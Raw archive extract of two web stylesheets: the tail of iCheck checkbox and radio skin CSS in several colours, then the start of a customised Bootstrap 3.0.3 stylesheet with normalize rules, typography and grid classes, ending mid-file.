.icheckbox_flat-orange.checked {
	background-position: -22px 0;
}

.icheckbox_flat-orange.disabled {
	background-position: -44px 0;
	cursor: default;
}

.icheckbox_flat-orange.checked.disabled {
	background-position: -66px 0;
}

.iradio_flat-orange {
	background-position: -88px 0;
}

.iradio_flat-orange.checked {
	background-position: -110px 0;
}

.iradio_flat-orange.disabled {
	background-position: -132px 0;
	cursor: default;
}

.iradio_flat-orange.checked.disabled {
	background-position: -154px 0;
}

/* Retina support */
@media only screen and (-webkit-min-device-pixel-ratio: 1.5) , only screen and
		(-moz-min-device-pixel-ratio: 1.5) , only screen and
		(-o-min-device-pixel-ratio: 3/2) , only screen and
	(min-device-pixel-ratio: 1.5) {
	.icheckbox_flat-orange,.iradio_flat-orange {
		background-image: url(../../images/orange@2x.png);
		-webkit-background-size: 176px 22px;
		background-size: 176px 22px;
	}
}

/* iCheck plugin Flat skin, red
----------------------------------- */
.icheckbox_flat-red,.iradio_flat-red {
	display: inline-block;
	*display: inline;
	vertical-align: middle;
	margin: 0;
	padding: 0;
	width: 20px;
	height: 20px;
	background: url(../../images/red.png) no-repeat;
	border: none;
	cursor: pointer;
}

.icheckbox_flat-red {
	background-position: 0 0;
}

.icheckbox_flat-red.checked {
	background-position: -22px 0;
}

.icheckbox_flat-red.disabled {
	background-position: -44px 0;
	cursor: default;
}

.icheckbox_flat-red.checked.disabled {
	background-position: -66px 0;
}

.iradio_flat-red {
	background-position: -88px 0;
}

.iradio_flat-red.checked {
	background-position: -110px 0;
}

.iradio_flat-red.disabled {
	background-position: -132px 0;
	cursor: default;
}

.iradio_flat-red.checked.disabled {
	background-position: -154px 0;
}

/* Retina support */
@media only screen and (-webkit-min-device-pixel-ratio: 1.5) , only screen and
		(-moz-min-device-pixel-ratio: 1.5) , only screen and
		(-o-min-device-pixel-ratio: 3/2) , only screen and
	(min-device-pixel-ratio: 1.5) {
	.icheckbox_flat-red,.iradio_flat-red {
		background-image: url(../../images/red@2x.png);
		-webkit-background-size: 176px 22px;
		background-size: 176px 22px;
	}
}

/* iCheck plugin Line skin, blue
----------------------------------- */
.icheckbox_line-blue,.iradio_line-blue {
	position: relative;
	display: block;
	margin: 0;
	padding: 5px 15px 5px 38px;
	font-size: 13px;
	line-height: 17px;
	color: #fff;
	background: #2489c5;
	border: none;
	-webkit-border-radius: 3px;
	-moz-border-radius: 3px;
	border-radius: 3px;
	cursor: pointer;
}

.icheckbox_line-blue .icheck_line-icon,.iradio_line-blue .icheck_line-icon
	{
	position: absolute;
	top: 50%;
	left: 13px;
	width: 13px;
	height: 11px;
	margin: -5px 0 0 0;
	padding: 0;
	overflow: hidden;
	background: url(../../../images/line.png) no-repeat;
	border: none;
}

.icheckbox_line-blue.hover,.icheckbox_line-blue.checked.hover,.iradio_line-blue.hover
	{
	background: #3DA0DB;
}

.icheckbox_line-blue.checked,.iradio_line-blue.checked {
	background: #2489c5;
}

.icheckbox_line-blue.checked .icheck_line-icon,.iradio_line-blue.checked .icheck_line-icon
	{
	background-position: -15px 0;
}

.icheckbox_line-blue.disabled,.iradio_line-blue.disabled {
	background: #ADD7F0;
	cursor: default;
}

.icheckbox_line-blue.disabled .icheck_line-icon,.iradio_line-blue.disabled .icheck_line-icon
	{
	background-position: -30px 0;
}

.icheckbox_line-blue.checked.disabled,.iradio_line-blue.checked.disabled
	{
	background: #ADD7F0;
}

.icheckbox_line-blue.checked.disabled .icheck_line-icon,.iradio_line-blue.checked.disabled .icheck_line-icon
	{
	background-position: -45px 0;
}

/* Retina support */
@media only screen and (-webkit-min-device-pixel-ratio: 1.5) , only screen and
		(-moz-min-device-pixel-ratio: 1.5) , only screen and
		(-o-min-device-pixel-ratio: 3/2) , only screen and
	(min-device-pixel-ratio: 1.5) {
	.icheckbox_line-blue .icheck_line-icon,.iradio_line-blue .icheck_line-icon
		{
		background-image: url(../../../images/line@2x.png);
		-webkit-background-size: 60px 13px;
		background-size: 60px 13px;
	}
}

/* iCheck plugin Line skin, green
----------------------------------- */
.icheckbox_line-green,.iradio_line-green {
	position: relative;
	display: block;
	margin: 0;
	padding: 5px 15px 5px 38px;
	font-size: 13px;
	line-height: 17px;
	color: #fff;
	background: #1b7e5a;
	border: none;
	-webkit-border-radius: 3px;
	-moz-border-radius: 3px;
	border-radius: 3px;
	cursor: pointer;
}

.icheckbox_line-green .icheck_line-icon,.iradio_line-green .icheck_line-icon
	{
	position: absolute;
	top: 50%;
	left: 13px;
	width: 13px;
	height: 11px;
	margin: -5px 0 0 0;
	padding: 0;
	overflow: hidden;
	background: url(../../../images/line.png) no-repeat;
	border: none;
}

.icheckbox_line-green.hover,.icheckbox_line-green.checked.hover,.iradio_line-green.hover
	{
	background: #24AA7A;
}

.icheckbox_line-green.checked,.iradio_line-green.checked {
	background: #1b7e5a;
}

.icheckbox_line-green.checked .icheck_line-icon,.iradio_line-green.checked .icheck_line-icon
	{
	background-position: -15px 0;
}

.icheckbox_line-green.disabled,.iradio_line-green.disabled {
	background: #89E6C4;
	cursor: default;
}

.icheckbox_line-green.disabled .icheck_line-icon,.iradio_line-green.disabled .icheck_line-icon
	{
	background-position: -30px 0;
}

.icheckbox_line-green.checked.disabled,.iradio_line-green.checked.disabled
	{
	background: #89E6C4;
}

.icheckbox_line-green.checked.disabled .icheck_line-icon,.iradio_line-green.checked.disabled .icheck_line-icon
	{
	background-position: -45px 0;
}

/* Retina support */
@media only screen and (-webkit-min-device-pixel-ratio: 1.5) , only screen and
		(-moz-min-device-pixel-ratio: 1.5) , only screen and
		(-o-min-device-pixel-ratio: 3/2) , only screen and
	(min-device-pixel-ratio: 1.5) {
	.icheckbox_line-green .icheck_line-icon,.iradio_line-green .icheck_line-icon
		{
		background-image: url(../../../images/line@2x.png);
		-webkit-background-size: 60px 13px;
		background-size: 60px 13px;
	}
}

/* iCheck plugin Line skin, orange
----------------------------------- */
.icheckbox_line-orange,.iradio_line-orange {
	position: relative;
	display: block;
	margin: 0;
	padding: 5px 15px 5px 38px;
	font-size: 13px;
	line-height: 17px;
	color: #fff;
	background: #f70;
	border: none;
	-webkit-border-radius: 3px;
	-moz-border-radius: 3px;
	border-radius: 3px;
	cursor: pointer;
}

.icheckbox_line-orange .icheck_line-icon,.iradio_line-orange .icheck_line-icon
	{
	position: absolute;
	top: 50%;
	left: 13px;
	width: 13px;
	height: 11px;
	margin: -5px 0 0 0;
	padding: 0;
	overflow: hidden;
	background: url(../../../images/line.png) no-repeat;
	border: none;
}

.icheckbox_line-orange.hover,.icheckbox_line-orange.checked.hover,.iradio_line-orange.hover
	{
	background: #FF9233;
}

.icheckbox_line-orange.checked,.iradio_line-orange.checked {
	background: #f70;
}

.icheckbox_line-orange.checked .icheck_line-icon,.iradio_line-orange.checked .icheck_line-icon
	{
	background-position: -15px 0;
}

.icheckbox_line-orange.disabled,.iradio_line-orange.disabled {
	background: #FFD6B3;
	cursor: default;
}

.icheckbox_line-orange.disabled .icheck_line-icon,.iradio_line-orange.disabled .icheck_line-icon
	{
	background-position: -30px 0;
}

.icheckbox_line-orange.checked.disabled,.iradio_line-orange.checked.disabled
	{
	background: #FFD6B3;
}

.icheckbox_line-orange.checked.disabled .icheck_line-icon,.iradio_line-orange.checked.disabled .icheck_line-icon
	{
	background-position: -45px 0;
}

/* Retina support */
@media only screen and (-webkit-min-device-pixel-ratio: 1.5) , only screen and
		(-moz-min-device-pixel-ratio: 1.5) , only screen and
		(-o-min-device-pixel-ratio: 3/2) , only screen and
	(min-device-pixel-ratio: 1.5) {
	.icheckbox_line-orange .icheck_line-icon,.iradio_line-orange .icheck_line-icon
		{
		background-image: url(../../../images/line@2x.png);
		-webkit-background-size: 60px 13px;
		background-size: 60px 13px;
	}
}

/* iCheck plugin Line skin, red
----------------------------------- */
.icheckbox_line-red,.iradio_line-red {
	position: relative;
	display: block;
	margin: 0;
	padding: 5px 15px 5px 38px;
	font-size: 13px;
	line-height: 17px;
	color: #fff;
	background: #e56c69;
	border: none;
	-webkit-border-radius: 3px;
	-moz-border-radius: 3px;
	border-radius: 3px;
	cursor: pointer;
}

.icheckbox_line-red .icheck_line-icon,.iradio_line-red .icheck_line-icon
	{
	position: absolute;
	top: 50%;
	left: 13px;
	width: 13px;
	height: 11px;
	margin: -5px 0 0 0;
	padding: 0;
	overflow: hidden;
	background: url(../../../images/line.png) no-repeat;
	border: none;
}

.icheckbox_line-red.hover,.icheckbox_line-red.checked.hover,.iradio_line-red.hover
	{
	background: #E98582;
}

.icheckbox_line-red.checked,.iradio_line-red.checked {
	background: #e56c69;
}

.icheckbox_line-red.checked .icheck_line-icon,.iradio_line-red.checked .icheck_line-icon
	{
	background-position: -15px 0;
}

.icheckbox_line-red.disabled,.iradio_line-red.disabled {
	background: #F7D3D2;
	cursor: default;
}

.icheckbox_line-red.disabled .icheck_line-icon,.iradio_line-red.disabled .icheck_line-icon
	{
	background-position: -30px 0;
}

.icheckbox_line-red.checked.disabled,.iradio_line-red.checked.disabled {
	background: #F7D3D2;
}

.icheckbox_line-red.checked.disabled .icheck_line-icon,.iradio_line-red.checked.disabled .icheck_line-icon
	{
	background-position: -45px 0;
}

/* Retina support */
@media only screen and (-webkit-min-device-pixel-ratio: 1.5) , only screen and
		(-moz-min-device-pixel-ratio: 1.5) , only screen and
		(-o-min-device-pixel-ratio: 3/2) , only screen and
	(min-device-pixel-ratio: 1.5) {
	.icheckbox_line-red .icheck_line-icon,.iradio_line-red .icheck_line-icon
		{
		background-image: url(../../../images/line@2x.png);
		-webkit-background-size: 60px 13px;
		background-size: 60px 13px;
	}
}css/bootstrap.css000060400000406052150710775200010072 0ustar00++
x+ ++++++++++++++++++++++++++++++++++++++++++++++++69- /*!
 * Bootstrap v3.0.3 (http://getbootstrap.com)
 * Copyright 2013 Twitter, Inc.
 * Licensed under http://www.apache.org/licenses/LICENSE-2.0
 */ /*! normalize.css v2.1.3 | MIT License | git.io/normalize */ article,aside,details,figcaption,figure,footer,header,hgroup,main,nav,section,summary
	{
	display: block;
}

audio,canvas,video {
	display: inline-block;
}

audio:not ([controls] ) {
	display: none;
	height: 0;
}

[hidden],template {
	display: none;
}

html {
	font-family: sans-serif;
	-webkit-text-size-adjust: 100%;
	-ms-text-size-adjust: 100%;
}

body {
	margin: 0;
}

a {
	background: transparent;
}

a:focus {
	outline: thin dotted;
}

a:active,a:hover {
	outline: 0;
}

h1 {
	margin: 0.67em 0;
	font-size: 2em;
}

abbr[title] {
	border-bottom: 1px dotted;
}

b,strong {
	font-weight: bold;
}

dfn {
	font-style: italic;
}

hr {
	height: 0;
	-moz-box-sizing: content-box;
	box-sizing: content-box;
}

mark {
	color: #000;
	background: #ff0;
}

code,kbd,pre,samp {
	font-family: monospace, serif;
	font-size: 1em;
}

pre {
	white-space: pre-wrap;
}

q {
	quotes: "\201C" "\201D" "\2018" "\2019";
}

small {
	font-size: 80%;
}

sub,sup {
	position: relative;
	font-size: 75%;
	line-height: 0;
	vertical-align: baseline;
}

sup {
	top: -0.5em;
}

sub {
	bottom: -0.25em;
}

img {
	border: 0;
}

svg:not (:root ) {
	overflow: hidden;
}

figure {
	margin: 0;
}

fieldset {
	padding: 0.35em 0.625em 0.75em;
	margin: 0 2px;
	border: 1px solid #c0c0c0;
}

legend {
	padding: 0;
	border: 0;
}

button,input,select,textarea {
	margin: 0;
	font-family: inherit;
	font-size: 100%;
}

button,input {
	line-height: normal;
}

button,select {
	text-transform: none;
}

button,html input[type="button"],input[type="reset"],input[type="submit"]
	{
	cursor: pointer;
	-webkit-appearance: button;
}

button[disabled],html input[disabled] {
	cursor: default;
}

input[type="checkbox"],input[type="radio"] {
	padding: 0;
	box-sizing: border-box;
}

input[type="search"] {
	-webkit-box-sizing: content-box;
	-moz-box-sizing: content-box;
	box-sizing: content-box;
	-webkit-appearance: textfield;
}

input[type="search"]::-webkit-search-cancel-button,input[type="search"]::-webkit-search-decoration
	{
	-webkit-appearance: none;
}

button::-moz-focus-inner,input::-moz-focus-inner {
	padding: 0;
	border: 0;
}

textarea {
	overflow: auto;
	vertical-align: top;
}

table {
	border-collapse: collapse;
	border-spacing: 0;
}

@media print {
	* {
		color: #000 !important;
		text-shadow: none !important;
		background: transparent !important;
		box-shadow: none !important;
	}
	a,a:visited {
		text-decoration: underline;
	}
	a[href]:after {
		content: " (" attr(href) ")";
	}
	abbr[title]:after {
		content: " (" attr(title) ")";
	}
	a[href ^="javascript:"]:after,a[href ^="#"]:after {
		content: "";
	}
	pre,blockquote {
		border: 1px solid #999;
		page-break-inside: avoid;
	}
	thead {
		display: table-header-group;
	}
	tr,img {
		page-break-inside: avoid;
	}
	img {
		max-width: 100% !important;
	}
	@page {
		margin: 2cm .5cm;
	}
	p,h2,h3 {
		orphans: 3;
		widows: 3;
	}
	h2,h3 {
		page-break-after: avoid;
	}
	select {
		background: #fff !important;
	}
	.navbar {
		display: none;
	}
	.table td,.table th {
		background-color: #fff !important;
	}
	.btn>.caret,.dropup>.btn>.caret {
		border-top-color: #000 !important;
	}
	.label {
		border: 1px solid #000;
	}
	.table {
		border-collapse: collapse !important;
	}
	.table-bordered th,.table-bordered td {
		border: 1px solid #ddd !important;
	}
}

*,*:before,*:after {
	-webkit-box-sizing: border-box;
	-moz-box-sizing: border-box;
	box-sizing: border-box;
}

html {
	font-size: 62.5%;
	-webkit-tap-highlight-color: rgba(0, 0, 0, 0);
}

body {
	font-family: 'Droid Sans', sans-serif;
	font-size: 13px;
	line-height: 20px;
	color: #6d6f75;
	background-color: #f4f4f4;
}

input,button,select,textarea {
	font-family: inherit;
	font-size: inherit;
	line-height: inherit;
}

a {
	color: #33363f;
	text-decoration: none;
}

a:hover,a:focus {
	color: #000000;
	text-decoration: none;
}

a:focus {
	outline: none;
	outline: none;
	outline-offset: -2px;
}

img {
	vertical-align: middle;
}

.img-responsive {
	display: block;
	height: auto;
	max-width: 100%;
}

.img-rounded {
	border-radius: 6px;
}

.img-thumbnail {
	display: inline-block;
	height: auto;
	max-width: 100%;
	padding: 4px;
	line-height: 1.428571429;
	background-color: #ffffff;
	border: 1px solid #dddddd;
	border-radius: 4px;
	-webkit-transition: all 0.2s ease-in-out;
	transition: all 0.2s ease-in-out;
}

.img-circle {
	border-radius: 50%;
}

hr {
	margin-top: 20px;
	margin-bottom: 20px;
	border: 0;
	border-top: 1px solid #eeeeee;
}

.sr-only {
	position: absolute;
	width: 1px;
	height: 1px;
	padding: 0;
	margin: -1px;
	overflow: hidden;
	clip: rect(0, 0, 0, 0);
	border: 0;
}

h1,h2,h3,h4,h5,h6,.h1,.h2,.h3,.h4,.h5,.h6 {
	font-family: 'Droid Sans', sans-serif;
	font-weight: bold;
	line-height: 1.1;
	color: inherit;
}

h1 small,h2 small,h3 small,h4 small,h5 small,h6 small,.h1 small,.h2 small,.h3 small,.h4 small,.h5 small,.h6 small,h1 .small,h2 .small,h3 .small,h4 .small,h5 .small,h6 .small,.h1 .small,.h2 .small,.h3 .small,.h4 .small,.h5 .small,.h6 .small
	{
	font-weight: normal;
	line-height: 1;
	color: #999999;
}

h1,h2,h3 {
	color: #323641;
	margin-top: 20px;
	margin-bottom: 10px;
}

h1 small,h2 small,h3 small,h1 .small,h2 .small,h3 .small {
	font-size: 65%;
}

h4,h5,h6 {
	color: #323641;
	margin-top: 10px;
	margin-bottom: 10px;
}

h4 small,h5 small,h6 small,h4 .small,h5 .small,h6 .small {
	font-size: 75%;
}

h1,.h1 {
	font-size: 22px;
}

h2,.h2 {
	font-size: 20px;
}

h3,.h3 {
	font-size: 18px;
}

h4,.h4 {
	font-size: 16px;
}

h5,.h5 {
	font-size: 14px;
}

h5  small,.h5 small {
	font-size: 11px;
	color: #696969;
	font-weight: bold;
	text-transform: uppercase;
	padding-left: 15px;
}

h6,.h6 {
	font-size: 13px;
}

p {
	margin: 0 0 10px;
}

.lead {
	margin-bottom: 20px;
	font-size: 16px;
	font-weight: 200;
	line-height: 1.4;
}

@media ( min-width : 768px) {
	.lead {
		font-size: 21px;
	}
}

small,.small {
	font-size: 85%;
}

cite {
	font-style: normal;
}

.text-muted {
	color: #999999;
}

.text-primary {
	color: #428bca;
}

.text-primary:hover {
	color: #3071a9;
}

.text-warning {
	color: #8a6d3b;
}

.text-warning:hover {
	color: #66512c;
}

.text-danger {
	color: #a94442;
}

.text-danger:hover {
	color: #843534;
}

.text-success {
	color: #3c763d;
}

.text-success:hover {
	color: #2b542c;
}

.text-info {
	color: #31708f;
}

.text-info:hover {
	color: #245269;
}

.text-left {
	text-align: left;
}

.text-right {
	text-align: right;
}

.text-center {
	text-align: center;
}

.page-header {
	padding-bottom: 9px;
	margin: 40px 0 20px;
	border-bottom: 1px solid #eeeeee;
}

ul,ol {
	margin-top: 0;
	list-style-position: inside;
	margin-bottom: 10px;
}

ul ul,ol ul,ul ol,ol ol {
	margin-bottom: 0;
	margin-left: 20px;
}

.list-unstyled {
	padding-left: 0;
	list-style: none;
}

.list-inline {
	padding-left: 0;
	list-style: none;
}

.list-inline>li {
	display: inline-block;
	padding-right: 5px;
	padding-left: 5px;
}

.list-inline>li:first-child {
	padding-left: 0;
}

dl {
	margin-top: 0;
	margin-bottom: 20px;
}

dt,dd {
	line-height: 1.428571429;
}

dt {
	font-weight: bold;
}

dd {
	margin-left: 0;
}

@media ( min-width : 768px) {
	.dl-horizontal dt {
		float: left;
		width: 160px;
		overflow: hidden;
		clear: left;
		text-align: right;
		text-overflow: ellipsis;
		white-space: nowrap;
	}
	.dl-horizontal dd {
		margin-left: 180px;
	}
	.dl-horizontal dd:before,.dl-horizontal dd:after {
		display: table;
		content: " ";
	}
	.dl-horizontal dd:after {
		clear: both;
	}
	.dl-horizontal dd:before,.dl-horizontal dd:after {
		display: table;
		content: " ";
	}
	.dl-horizontal dd:after {
		clear: both;
	}
}

abbr[title],abbr[data-original-title] {
	cursor: help;
	border-bottom: 1px dotted #999999;
}

.initialism {
	font-size: 90%;
	text-transform: uppercase;
}

blockquote {
	padding: 10px 20px;
	margin: 0 0 20px;
	border-left: 5px solid #eeeeee;
}

blockquote p {
	font-size: 17.5px;
	font-weight: 300;
	line-height: 1.25;
}

blockquote p:last-child {
	margin-bottom: 0;
}

blockquote small,blockquote .small {
	display: block;
	line-height: 1.428571429;
	color: #999999;
}

blockquote small:before,blockquote .small:before {
	content: '\2014 \00A0';
}

blockquote.pull-right {
	padding-right: 15px;
	padding-left: 0;
	border-right: 5px solid #eeeeee;
	border-left: 0;
}

blockquote.pull-right p,blockquote.pull-right small,blockquote.pull-right .small
	{
	text-align: right;
}

blockquote.pull-right small:before,blockquote.pull-right .small:before {
	content: '';
}

blockquote.pull-right small:after,blockquote.pull-right .small:after {
	content: '\00A0 \2014';
}

blockquote:before,blockquote:after {
	content: "";
}

address {
	margin-bottom: 20px;
	font-style: normal;
	line-height: 1.428571429;
}

code,kbd,pre,samp {
	font-family: Menlo, Monaco, Consolas, "Courier New", monospace;
}

code {
	padding: 2px 4px;
	font-size: 90%;
	color: #c7254e;
	white-space: nowrap;
	background-color: #f9f2f4;
	border-radius: 4px;
}

pre {
	display: block;
	padding: 9.5px;
	margin: 0 0 10px;
	font-size: 13px;
	line-height: 1.428571429;
	color: #333333;
	word-break: break-all;
	word-wrap: break-word;
	background-color: #f5f5f5;
	border: 1px solid #cccccc;
	border-radius: 4px;
}

pre code {
	padding: 0;
	font-size: inherit;
	color: inherit;
	white-space: pre-wrap;
	background-color: transparent;
	border-radius: 0;
}

.pre-scrollable {
	max-height: 340px;
	overflow-y: scroll;
}

.container {
	padding-right: 15px;
	padding-left: 15px;
	margin-right: auto;
	margin-left: auto;
}

.container:before,.container:after {
	display: table;
	content: " ";
}

.container:after {
	clear: both;
}

.container:before,.container:after {
	display: table;
	content: " ";
}

.container:after {
	clear: both;
}

@media ( min-width : 768px) {
	.container {
		width: 750px;
	}
}

@media ( min-width : 992px) {
	.container {
		width: 970px;
	}
}

@media ( min-width : 1200px) {
	.container {
		width: 1170px;
	}
	.container-liquid {
		margin: 0 auto;
		padding: 0 15px;
	}
}

.row {
	margin-right: -15px;
	margin-left: -15px;
}

.row:before,.row:after {
	display: table;
	content: " ";
}

.row:after {
	clear: both;
}

.row:before,.row:after {
	display: table;
	content: " ";
}

.row:after {
	clear: both;
}

.col-xs-1,.col-sm-1,.col-md-1,.col-lg-1,.col-xs-2,.col-sm-2,.col-md-2,.col-lg-2,.col-xs-3,.col-sm-3,.col-md-3,.col-lg-3,.col-xs-4,.col-sm-4,.col-md-4,.col-lg-4,.col-xs-5,.col-sm-5,.col-md-5,.col-lg-5,.col-xs-6,.col-sm-6,.col-md-6,.col-lg-6,.col-xs-7,.col-sm-7,.col-md-7,.col-lg-7,.col-xs-8,.col-sm-8,.col-md-8,.col-lg-8,.col-xs-9,.col-sm-9,.col-md-9,.col-lg-9,.col-xs-10,.col-sm-10,.col-md-10,.col-lg-10,.col-xs-11,.col-sm-11,.col-md-11,.col-lg-11,.col-xs-12,.col-sm-12,.col-md-12,.col-lg-12
	{
	position: relative;
	min-height: 1px;
	padding-right: 15px;
	padding-left: 15px;
	margin-top: 30px;
}

.col-xs-1,.col-xs-2,.col-xs-3,.col-xs-4,.col-xs-5,.col-xs-6,.col-xs-7,.col-xs-8,.col-xs-9,.col-xs-10,.col-xs-11,.col-xs-12
	{
	float: left;
}

.col-xs-12 {
	width: 100%;
}

.col-xs-11 {
	width: 91.66666666666666%;
}

.col-xs-10 {
	width: 83.33333333333334%;
}

.col-xs-9 {
	width: 75%;
}

.col-xs-8 {
	width: 66.66666666666666%;
}

.col-xs-7 {
	width: 58.333333333333336%;
}

.col-xs-6 {
	width: 50%;
}

.col-xs-5 {
	width: 41.66666666666667%;
}

.col-xs-4 {
	width: 33.33333333333333%;
}

.col-xs-3 {
	width: 25%;
}

.col-xs-2 {
	width: 16.666666666666664%;
}

.col-xs-1 {
	width: 8.333333333333332%;
}

.col-xs-pull-12 {
	right: 100%;
}

.col-xs-pull-11 {
	right: 91.66666666666666%;
}

.col-xs-pull-10 {
	right: 83.33333333333334%;
}

.col-xs-pull-9 {
	right: 75%;
}

.col-xs-pull-8 {
	right: 66.66666666666666%;
}

.col-xs-pull-7 {
	right: 58.333333333333336%;
}

.col-xs-pull-6 {
	right: 50%;
}

.col-xs-pull-5 {
	right: 41.66666666666667%;
}

.col-xs-pull-4 {
	right: 33.33333333333333%;
}

.col-xs-pull-3 {
	right: 25%;
}

.col-xs-pull-2 {
	right: 16.666666666666664%;
}

.col-xs-pull-1 {
	right: 8.333333333333332%;
}

.col-xs-pull-0 {
	right: 0;
}

.col-xs-push-12 {
	left: 100%;
}

.col-xs-push-11 {
	left: 91.66666666666666%;
}

.col-xs-push-10 {
	left: 83.33333333333334%;
}

.col-xs-push-9 {
	left: 75%;
}

.col-xs-push-8 {
	left: 66.66666666666666%;
}

.col-xs-push-7 {
	left: 58.333333333333336%;
}

.col-xs-push-6 {
	left: 50%;
}

.col-xs-push-5 {
	left: 41.66666666666667%;
}

.col-xs-push-4 {
	left: 33.33333333333333%;
}

.col-xs-push-3 {
	left: 25%;
}

.col-xs-push-2 {
	left: 16.666666666666664%;
}

.col-xs-push-1 {
	left: 8.333333333333332%;
}

.col-xs-push-0 {
	left: 0;
}

.col-xs-offset-12 {
	margin-left: 100%;
}

.col-xs-offset-11 {
	margin-left: 91.66666666666666%;
}

.col-xs-offset-10 {
	margin-left: 83.33333333333334%;
}

.col-xs-offset-9 {
	margin-left: 75%;
}

.col-xs-offset-8 {
	margin-left: 66.66666666666666%;
}

.col-xs-offset-7 {
	margin-left: 58.333333333333336%;
}

.col-xs-offset-6 {
	margin-left: 50%;
}

.col-xs-offset-5 {
	margin-left: 41.66666666666667%;
}

.col-xs-offset-4 {
	margin-left: 33.33333333333333%;
}

.col-xs-offset-3 {
	margin-left: 25%;
}

.col-xs-offset-2 {
	margin-left: 16.666666666666664%;
}

.col-xs-offset-1 {
	margin-left: 8.333333333333332%;
}

.col-xs-offset-0 {
	margin-left: 0;
}

@media ( min-width : 768px) {
	.col-sm-1,.col-sm-2,.col-sm-3,.col-sm-4,.col-sm-5,.col-sm-6,.col-sm-7,.col-sm-8,.col-sm-9,.col-sm-10,.col-sm-11,.col-sm-12
		{
		float: left;
	}
	.col-sm-12 {
		width: 100%;
	}
	.col-sm-11 {
		width: 91.66666666666666%;
	}
	.col-sm-10 {
		width: 83.33333333333334%;
	}
	.col-sm-9 {
		width: 75%;
	}
	.col-sm-8 {
		width: 66.66666666666666%;
	}
	.col-sm-7 {
		width: 58.333333333333336%;
	}
	.col-sm-6 {
		width: 50%;
	}
	.col-sm-5 {
		width: 41.66666666666667%;
	}
	.col-sm-4 {
		width: 33.33333333333333%;
	}
	.col-sm-3 {
		width: 25%;
	}
	.col-sm-2 {
		width: 16.666666666666664%;
	}
	.col-sm-1 {
		width: 8.333333333333332%;
	}
	.col-sm-pull-12 {
		right: 100%;
	}
	.col-sm-pull-11 {
		right: 91.66666666666666%;
	}
	.col-sm-pull-10 {
		right: 83.33333333333334%;
	}
	.col-sm-pull-9 {
		right: 75%;
	}
	.col-sm-pull-8 {
		right: 66.66666666666666%;
	}
	.col-sm-pull-7 {
		right: 58.333333333333336%;
	}
	.col-sm-pull-6 {
		right: 50%;
	}
	.col-sm-pull-5 {
		right: 41.66666666666667%;
	}
	.col-sm-pull-4 {
		right: 33.33333333333333%;
	}
	.col-sm-pull-3 {
		right: 25%;
	}
	.col-sm-pull-2 {
		right: 16.666666666666664%;
	}
	.col-sm-pull-1 {
		right: 8.333333333333332%;
	}
	.col-sm-pull-0 {
		right: 0;
	}
	.col-sm-push-12 {
		left: 100%;
	}
	.col-sm-push-11 {
		left: 91.66666666666666%;
	}
	.col-sm-push-10 {
		left: 83.33333333333334%;
	}
	.col-sm-push-9 {
		left: 75%;
	}
	.col-sm-push-8 {
		left: 66.66666666666666%;
	}
	.col-sm-push-7 {
		left: 58.333333333333336%;
	}
	.col-sm-push-6 {
		left: 50%;
	}
	.col-sm-push-5 {
		left: 41.66666666666667%;
	}
	.col-sm-push-4 {
		left: 33.33333333333333%;
	}
	.col-sm-push-3 {
		left: 25%;
	}
	.col-sm-push-2 {
		left: 16.666666666666664%;
	}
	.col-sm-push-1 {
		left: 8.333333333333332%;
	}
	.col-sm-push-0 {
		left: 0;
	}
	.col-sm-offset-12 {
		margin-left: 100%;
	}
	.col-sm-offset-11 {
		margin-left: 91.66666666666666%;
	}
	.col-sm-offset-10 {
		margin-left: 83.33333333333334%;
	}
	.col-sm-offset-9 {
		margin-left: 75%;
	}
	.col-sm-offset-8 {
		margin-left: 66.66666666666666%;
	}
	.col-sm-offset-7 {
		margin-left: 58.333333333333336%;
	}
	.col-sm-offset-6 {
		margin-left: 50%;
	}
	.col-sm-offset-5 {
		margin-left: 41.66666666666667%;
	}
	.col-sm-offset-4 {
		margin-left: 33.33333333333333%;
	}
	.col-sm-offset-3 {
		margin-left: 25%;
	}
	.col-sm-offset-2 {
		margin-left: 16.666666666666664%;
	}
	.col-sm-offset-1 {
		margin-left: 8.333333333333332%;
	}
	.col-sm-offset-0 {
		margin-left: 0;
	}
}

@media ( min-width : 992px) {
	.col-md-1,.col-md-2,.col-md-3,.col-md-4,.col-md-5,.col-md-6,.col-md-7,.col-md-8,.col-md-9,.col-md-10,.col-md-11,.col-md-12
		{
		float: left;
	}
	.col-md-12 {
		width: 100%;
	}
	.col-md-11 {
		width: 91.66666666666666%;
	}
	.col-md-10 {
		width: 83.33333333333334%;
	}
	.col-md-9 {
		width: 75%;
	}
	.col-md-8 {
		width: 66.66666666666666%;
	}
	.col-md-7 {
		width: 58.333333333333336%;
	}
	.col-md-6 {
		width: 50%;
	}
	.col-md-5 {
		width: 41.66666666666667%;
	}
	.col-md-4 {
		width: 33.33333333333333%;
	}
	.col-md-3 {
		width: 25%;
	}
	.col-md-2 {
		width: 16.666666666666664%;
	}
	.col-md-1 {
		width: 8.333333333333332%;
	}
	.col-md-pull-12 {
		right: 100%;
	}
	.col-md-pull-11 {
		right: 91.66666666666666%;
	}
	.col-md-pull-10 {
		right: 83.33333333333334%;
	}
	.col-md-pull-9 {
		right: 75%;
	}
	.col-md-pull-8 {
		right: 66.66666666666666%;
	}
	.col-md-pull-7 {
		right: 58.333333333333336%;
	}
	.col-md-pull-6 {
		right: 50%;
	}
	.col-md-pull-5 {
		right: 41.66666666666667%;
	}
	.col-md-pull-4 {
		right: 33.33333333333333%;
	}
	.col-md-pull-3 {
		right: 25%;
	}
	.col-md-pull-2 {
		right: 16.666666666666664%;
	}
	.col-md-pull-1 {
		right: 8.333333333333332%;
	}
	.col-md-pull-0 {
		right: 0;
	}
	.col-md-push-12 {
		left: 100%;
	}
	.col-md-push-11 {
		left: 91.66666666666666%;
	}
	.col-md-push-10 {
		left: 83.33333333333334%;
	}
	.col-md-push-9 {
		left: 75%;
	}
	.col-md-push-8 {
		left: 66.66666666666666%;
	}
	.col-md-push-7 {
		left: 58.333333333333336%;
	}
	.col-md-push-6 {
		left: 50%;
	}
	.col-md-push-5 {
		left: 41.66666666666667%;
	}
	.col-md-push-4 {
		left: 33.33333333333333%;
	}
	.col-md-push-3 {
		left: 25%;
	}
	.col-md-push-2 {
		left: 16.666666666666664%;
	}
	.col-md-push-1 {
		left: 8.333333333333332%;
	}
	.col-md-push-0 {
		left: 0;
	}
	.col-md-offset-12 {
		margin-left: 100%;
	}
	.col-md-offset-11 {
		margin-left: 91.66666666666666%;
	}
	.col-md-offset-10 {
		margin-left: 83.33333333333334%;
	}
	.col-md-offset-9 {
		margin-left: 75%;
	}
	.col-md-offset-8 {
		margin-left: 66.66666666666666%;
	}
	.col-md-offset-7 {
		margin-left: 58.333333333333336%;
	}
	.col-md-offset-6 {
